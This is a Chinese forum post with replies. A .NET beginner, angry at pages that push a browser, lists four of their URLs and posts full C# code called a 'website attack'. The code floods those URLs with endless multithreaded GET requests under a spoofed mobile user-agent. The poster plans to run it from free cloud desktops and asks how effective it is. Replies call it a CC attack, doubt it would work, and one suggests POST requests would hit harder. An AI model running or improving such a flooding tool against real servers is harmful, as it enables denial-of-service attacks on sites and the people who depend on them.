多线程死循环get请求会把服务器弄垮吗?
对于某狗浏览器的流氓推广,我已经忍无可忍,比2345还流氓浏览网页好好的,直接跳出这样的界面,无法返回,只能重启浏览器
本人遇到的不是一次两次了,有些还会出现恐吓界面,甚至手机一直震动
注意网站底部的小字:
用手机才会出现流氓推广界面,电脑访问有些直接跳转到百度
示例网站:
https://m.jinsqq.com/safe/v3/index.html?5921587885452&pkg=25#
https://a-llq.whbmy.com/safe/v5/indexfq.html?3651590592374&pkg=31#18
https://m-browser.octcoder.com/safe/v5/indexfq.html?1821590472301&pkg=34#2
https://bbd.nlztphv.cn/2019llq_5/p3066z.html?20200505235955&t=1964462581&f=1&i=1
作为一名.net初学者,我想到了一种类似攻击的方法:
使用多线程while(true)频繁get请求,每秒钟最快可达上百次
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Threading;
namespace 网站攻击
{
class Program
{
private static ulong count = 0;
static void Main(string[] args)
{
string[] urls = File.ReadAllLines("urls.txt",Encoding.Default);
Console.WriteLine("共有{0}个url\n请输入线程数:",urls.Length);
int threadCount = int.Parse(Console.ReadLine());
Thread timer = new Thread(Timer);
timer.Start();
for (int i = 1; i <= threadCount;i++ )
{
Thread t = new Thread(Attack);
t.Start(urls);
}
}
private static void Timer()
{
while (true)
{
ulong before = count;
Thread.Sleep(1000);
ulong cnts = count - before;
Console.Title = string.Format("{0}/sec",cnts);
}
}
private static void Attack(object sender)
{
string[] urls = (string[])sender;
while (true)
{
foreach (string i in urls)
{
Get(i);
Console.WriteLine(count);
}
}
}
/// <summary>
/// Get请求
/// </summary>
/// <returns>返回是否成功</returns>
public static bool Get(string url)
{
HttpWebRequest request;
try
{
request = (HttpWebRequest)WebRequest.Create(url);
request.UserAgent = @"Mozilla/5.0 (Linux; Android 9; JKM-AL00b Build/HUAWEIJKM-AL00b; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36";
request.KeepAlive = true;
request.ProtocolVersion = HttpVersion.Version11;
request.Timeout = 20000;
ServicePointManager.Expect100Continue = false;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream responseStream = response.GetResponseStream();
StreamReader sr = new StreamReader(responseStream,Encoding.UTF8);
// sr.ReadToEnd();
responseStream.Close();
sr.Close();
count++;
return true;
}
catch (Exception)
{
return false;
}
finally { GC.Collect(); }
}
}
}
最近本人注册免费试用了几家云电脑,准备盘它!
请问这种方法效果如何?对客户端有影响吗?
有什么经验可以在评论区给出
大家遇到的类似的推广网页也可以在评论区列举出来. 对于正常标准的服务端,影响忽略不计 你要是能弄瘫,我把电脑吃掉 get提交我觉得并不咋的,我倒是觉得post请求比较有用 不太可能,最多封你ip或mac 直接用chrome firefox吧 搜狗输入法,快捷搜索出来的网站,打开3秒就跳转到淘宝,优酷,支付宝,烦死了
而且打开网页动不动就提示需要升级更新,知道这个是广告,很烦,但也没办法 这个就是属于cc攻击了 用夸克或者via就没有这种事